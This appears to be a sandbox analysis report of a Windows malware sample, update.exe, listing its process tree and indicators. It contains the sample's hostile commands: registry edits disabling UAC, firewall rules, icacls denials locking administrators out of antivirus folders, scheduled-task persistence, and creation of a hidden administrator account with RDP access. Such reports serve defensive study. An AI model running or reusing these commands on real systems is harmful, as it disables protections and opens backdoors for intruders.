1816	winserv.exe
1816	winserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 956 wrote to memory of 1468	956	update.exe	27
PID 956 wrote to memory of 1468	956	update.exe	27
PID 956 wrote to memory of 1468	956	update.exe	27
PID 1468 wrote to memory of 876	1468	cmd.exe	29
PID 1468 wrote to memory of 876	1468	cmd.exe	29
PID 1468 wrote to memory of 876	1468	cmd.exe	29
PID 956 wrote to memory of 1504	956	update.exe	33
PID 956 wrote to memory of 1504	956	update.exe	33
PID 956 wrote to memory of 1504	956	update.exe	33
PID 956 wrote to memory of 1212	956	update.exe	32
PID 956 wrote to memory of 1212	956	update.exe	32
PID 956 wrote to memory of 1212	956	update.exe	32
PID 1212 wrote to memory of 1052	1212	cmd.exe	34
PID 1212 wrote to memory of 1052	1212	cmd.exe	34
PID 1212 wrote to memory of 1052	1212	cmd.exe	34
PID 1504 wrote to memory of 804	1504	cmd.exe	35
PID 1504 wrote to memory of 804	1504	cmd.exe	35
PID 1504 wrote to memory of 804	1504	cmd.exe	35
PID 956 wrote to memory of 1492	956	update.exe	36
PID 956 wrote to memory of 1492	956	update.exe	36
PID 956 wrote to memory of 1492	956	update.exe	36
PID 1492 wrote to memory of 1540	1492	cmd.exe	38
PID 1492 wrote to memory of 1540	1492	cmd.exe	38
PID 1492 wrote to memory of 1540	1492	cmd.exe	38
PID 956 wrote to memory of 1952	956	update.exe	39
PID 956 wrote to memory of 1952	956	update.exe	39
PID 956 wrote to memory of 1952	956	update.exe	39
PID 1952 wrote to memory of 1904	1952	cmd.exe	57
PID 1952 wrote to memory of 1904	1952	cmd.exe	57
PID 1952 wrote to memory of 1904	1952	cmd.exe	57
PID 956 wrote to memory of 1956	956	update.exe	174
PID 956 wrote to memory of 1956	956	update.exe	174
PID 956 wrote to memory of 1956	956	update.exe	174
PID 1956 wrote to memory of 1996	1956	conhost.exe	233
PID 1956 wrote to memory of 1996	1956	conhost.exe	233
PID 1956 wrote to memory of 1996	1956	conhost.exe	233
PID 956 wrote to memory of 1168	956	update.exe	87
PID 956 wrote to memory of 1168	956	update.exe	87
PID 956 wrote to memory of 1168	956	update.exe	87
PID 1168 wrote to memory of 1180	1168	cmd.exe	47
PID 1168 wrote to memory of 1180	1168	cmd.exe	47
PID 1168 wrote to memory of 1180	1168	cmd.exe	47
PID 956 wrote to memory of 1832	956	update.exe	48
PID 956 wrote to memory of 1832	956	update.exe	48
PID 956 wrote to memory of 1832	956	update.exe	48
PID 1832 wrote to memory of 2032	1832	cmd.exe	50
PID 1832 wrote to memory of 2032	1832	cmd.exe	50
PID 1832 wrote to memory of 2032	1832	cmd.exe	50
PID 956 wrote to memory of 1744	956	update.exe	51
PID 956 wrote to memory of 1744	956	update.exe	51
PID 956 wrote to memory of 1744	956	update.exe	51
PID 956 wrote to memory of 1744	956	update.exe	51
PID 1744 wrote to memory of 688	1744	Game.exe	241
PID 1744 wrote to memory of 688	1744	Game.exe	241
PID 1744 wrote to memory of 688	1744	Game.exe	241
PID 1744 wrote to memory of 688	1744	Game.exe	241
PID 1744 wrote to memory of 1760	1744	Game.exe	53
PID 1744 wrote to memory of 1760	1744	Game.exe	53
PID 1744 wrote to memory of 1760	1744	Game.exe	53
PID 1744 wrote to memory of 1760	1744	Game.exe	53
PID 688 wrote to memory of 1520	688	spoolsv.exe	56
PID 688 wrote to memory of 1520	688	spoolsv.exe	56
PID 688 wrote to memory of 1520	688	spoolsv.exe	56
PID 1520 wrote to memory of 2028	1520	cmd.exe	58

System policy modification 1 TTPs 3 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	update.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	update.exe

C:\Users\Admin\AppData\Local\Temp\update.exe
"C:\Users\Admin\AppData\Local\Temp\update.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- UAC bypass
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Blocks application from running via registry modification
- Drops file in Drivers directory
- Checks BIOS information in registry
- Adds Run key to start application
- Checks whether UAC is enabled
- Modifies WinLogon
- Suspicious use of NtSetInformationThreadHideFromDebugger
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc delete swprv
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1468
- - C:\Windows\system32\sc.exe
    sc delete swprv
    3⤵
    - Launches sc.exe
    PID:876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1212
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    PID:1052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1504
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state on
    3⤵
    - Modifies Windows Firewall
    PID:804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    PID:1540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1952
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
    3⤵
    - Modifies Windows Firewall
    PID:1904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
  2⤵
  PID:1956
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
    3⤵
    - Modifies Windows Firewall
    PID:1996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
  2⤵
  PID:1168
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
    3⤵
    - Modifies Windows Firewall
    PID:1180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1832
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
    3⤵
    - Modifies Windows Firewall
    PID:2032
- C:\ProgramData\Setup\Game.exe
  C:\ProgramData\Setup\Game.exe -pnaxui
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\ProgramData\RealtekHD\GameGuard.exe
    "C:\ProgramData\RealtekHD\GameGuard.exe"
    3⤵
    PID:688
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Администраторы:(OI)(CI)(F)
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1520
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:2028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
      4⤵
      PID:1996
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:972
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1576
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\Fonts\Mysql" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:2040
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
      4⤵
      PID:628
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1132
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:2020
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\speechstracing /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1412
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
      4⤵
      PID:1056
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1608
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny Администраторы:(F)
      4⤵
      PID:2044
    - - C:\Windows\system32\icacls.exe
        
        icacls c:\programdata\Malwarebytes /deny Администраторы:(F)
        5⤵
        Modifies file permissions
        
        PID:1468
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)
      4⤵
      PID:564
    - - C:\Windows\system32\icacls.exe
        
        icacls c:\programdata\Malwarebytes /deny System:(F)
        5⤵
        Modifies file permissions
        
        PID:436
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny Администраторы:(F)
      4⤵
      PID:1804
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Programdata\MB3Install /deny Администраторы:(F)
        5⤵
        Modifies file permissions
        
        PID:1940
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)
      4⤵
      PID:1488
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Programdata\MB3Install /deny System:(F)
        5⤵
        Modifies file permissions
        
        PID:1108
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1168
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1660
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\AdwCleaner /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1412
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\AdwCleaner /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:876
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ByteFence" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1444
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\ByteFence" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1216
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
      4⤵
      PID:564
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1956
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\KVRT2020_Data /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1672
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\KVRT2020_Data /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)
      4⤵
      PID:1096
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:2040
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\FRST /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1996
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\FRST /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:532
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\FRST /deny system:(OI)(CI)(F)
      4⤵
      PID:1436
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\FRST /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:668
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1964
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\360" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1608
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\360safe" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1488
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1692
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\SpyHunter" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1424
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Malwarebytes" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1448
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:692
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:928
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Enigma Software Group" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:744
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\SpyHunter" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1208
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\AVAST Software" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:928
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\Kaspersky Lab" /deny Администраторы:(OI)(CI)(F)
        6⤵
        Modifies file permissions
        
        PID:1344
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1072
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\AVAST Software" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1216
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:2036
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Programdata\AVAST Software" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1684
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:540
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\AVG" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1072
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1164
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\AVG" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1684
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:2036
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Norton" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1184
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:692
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
      4⤵
      PID:1940
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1424
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Programdata\Kaspersky Lab" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1716
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
      4⤵
      PID:1164
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1208
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:564
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
      4⤵
      PID:1536
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1412
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1716
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Kaspersky Lab" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Executes dropped EXE
        Sets DLL path for service in the registry
        Modifies file permissions
        Drops file in Program Files directory
        
        PID:1216
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
      4⤵
      PID:1072
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
        5⤵
        Executes dropped EXE
        Modifies file permissions
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1328
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:928
- - C:\ProgramData\RealtekHD\taskhost.exe
    "C:\ProgramData\RealtekHD\taskhost.exe"
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Adds Run key to start application
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - NTFS ADS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    PID:1760
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ipconfig /flushdns
      4⤵
      PID:556
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /flushdns
        5⤵
        Gathers network information
        
        PID:1700
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c gpupdate /force
      4⤵
      PID:1460
    - - C:\Windows\system32\gpupdate.exe
        
        gpupdate /force
        5⤵
        
        PID:1632
  - - C:\ProgramData\Setup\Packs.exe
      C:\ProgramData\Setup\Packs.exe -ppidar
      4⤵
      Executes dropped EXE
      PID:1704
  - - C:\ProgramData\RealtekHD\sc.exe
      C:\ProgramData\RealtekHD\sc.exe -pnaxui
      4⤵
      Executes dropped EXE
      Launches sc.exe
      PID:1448
- C:\ProgramData\Setup\svchost.exe
  C:/ProgramData/Setup/svchost.exe -pnaxui
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1156
- - C:\ProgramData\Setup\IP.exe
    "C:\ProgramData\Setup\IP.exe"
    3⤵
    PID:1984
- - C:\ProgramData\Setup\smss.exe
    "C:\ProgramData\Setup\smss.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Checks processor information in registry
    - Modifies registry class
    PID:684
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:1976
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:1908
  - - C:\ProgramData\Windows Tasks Service\winserv.exe
      "C:\ProgramData\Windows Tasks Service\winserv.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:628
    - - C:\ProgramData\Windows Tasks Service\winserv.exe
        
        "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1212
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net user John 12345 /add
      4⤵
      PID:1160
    - - C:\Windows\system32\net.exe
        
        net user John 12345 /add
        5⤵
        
        PID:532
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user John 12345 /add
        6⤵
        
        PID:772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
      4⤵
      PID:920
    - - C:\Windows\system32\net.exe
        
        net localgroup "Администраторы" John /add
        5⤵
        
        PID:808
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Администраторы" John /add
        6⤵
        
        PID:1428
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
      4⤵
      PID:1416
    - - C:\Windows\system32\net.exe
        
        net localgroup "Пользователи удаленного рабочего стола" John /add
        5⤵
        
        PID:1100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
      4⤵
      PID:1964
    - - C:\Windows\system32\net.exe
        
        net localgroup "Пользователи удаленного управления" john /add" John /add
        5⤵
        
        PID:332
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
        6⤵
        
        PID:1996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
      4⤵
      PID:1040
    - - C:\Windows\system32\net.exe
        
        net localgroup "Administrators" John /add
        5⤵
        
        PID:1424
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Administrators" John /add
        6⤵
        
        PID:848
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
      4⤵
      PID:1436
    - - C:\Windows\system32\net.exe
        
        net localgroup "Administradores" John /add
        5⤵
        
        PID:1772
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Administradores" John /add
        6⤵
        
        PID:1828
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
      4⤵
      Blocklisted process makes network request
      Executes dropped EXE
      NTFS ADS
      PID:1984
    - - C:\Windows\system32\net.exe
        
        net localgroup "Remote Desktop Users" john /add
        5⤵
        
        PID:588
  - - C:\ProgramData\RDPWinst.exe
      C:\ProgramData\RDPWinst.exe -i
      4⤵
      PID:1216
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
        5⤵
        Modifies Windows Firewall
        
        PID:1072
  - - C:\Windows\system32\cmd.exe
      cmd /c C:\Programdata\Install\del.bat
      4⤵
      PID:1612
    - - C:\Windows\system32\timeout.exe
        
        timeout 5
        5⤵
        Delays execution with timeout.exe
        
        PID:1596
- C:\Windows\system32\cmd.exe
  cmd /c C:\Programdata\Microsoft\temp\H.bat
  2⤵
  - Drops file in Drivers directory
  PID:744

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-216364816-1540334323-314398455-173603748-83053404-8802251711406594829-1418624282"
1⤵
PID:1904

C:\Windows\system32\icacls.exe
icacls C:\Programdata\Indus /deny Администраторы:(OI)(CI)(F)
1⤵
- Modifies file permissions
PID:1312

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "81517985417526834391299252069-1952780999-1733862424-4195117941536298358-2627775"
1⤵
PID:2020

C:\Windows\system32\icacls.exe
icacls C:\KVRT_Data /deny Администраторы:(OI)(CI)(F)
1⤵
- Modifies file permissions
PID:1704

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-11987972381532666299197529045-422569693220348090-139055591267876-106553747"
1⤵
PID:1804

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "6721226731067965883-702602676-135334822-46314594-179704967012551557621860768090"
1⤵
PID:668

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "712050785-7402774851841188590-806389364307801447-5466194963092055677701306"
1⤵
PID:1976

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
1⤵
PID:636

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "99246454818522041895259701851833654016-975938605-1595160475-1583821532779760453"
1⤵
PID:920

